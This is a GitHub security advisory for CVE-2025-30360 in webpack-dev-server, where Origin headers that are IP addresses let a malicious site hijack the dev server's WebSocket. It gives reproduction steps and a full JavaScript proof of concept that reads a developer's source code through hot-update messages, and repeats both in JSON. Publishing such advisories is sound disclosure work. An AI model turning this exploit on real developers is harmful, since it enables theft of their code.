GHSA-9JGG-88MC-972H
Vulnerability from github – Published: 2025-06-04 21:09 – Updated: 2025-10-03 13:25Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.0"
},
"package": {
"ecosystem": "npm",
"name": "webpack-dev-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30360"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-04T21:09:38Z",
"nvd_published_at": "2025-06-03T18:15:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080\u0026file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) =\u003e {\n console.log(...args);\n for (i in args[1]) {\n document.body.innerText = args[1][i].toString() + document.body.innerText\n\t console.log(args[1][i])\n }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get(\u0027target\u0027) || \u0027http://127.0.0.1:8080\u0027);\nlet file = params.get(\u0027file\u0027)\nlet wsProtocol = target.protocol === \u0027http:\u0027 ? \u0027ws\u0027 : \u0027wss\u0027;\nlet wsPort = target.port;\nvar currentHash = \u0027\u0027;\nvar currentHash2 = \u0027\u0027;\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event =\u003e {\n console.log(event.data);\n if (event.data.match(\u0027\"type\":\"ok\"\u0027)) {\n s = document.createElement(\u0027script\u0027);\n s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n document.body.appendChild(s)\n }\n r = event.data.match(/\"([0-9a-f]{20})\"/);\n if (r !== null) {\n currentHash2 = currentHash;\n currentHash = r[1];\n console.log(currentHash, currentHash2);\n }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.",
"id": "GHSA-9jgg-88mc-972h",
"modified": "2025-10-03T13:25:56Z",
"published": "2025-06-04T21:09:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30360"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
},
{
"type": "PACKAGE",
"url": "https://github.com/webpack/webpack-dev-server"
},
{
"type": "WEB",
"url": "https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site with non-Chromium based browser"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.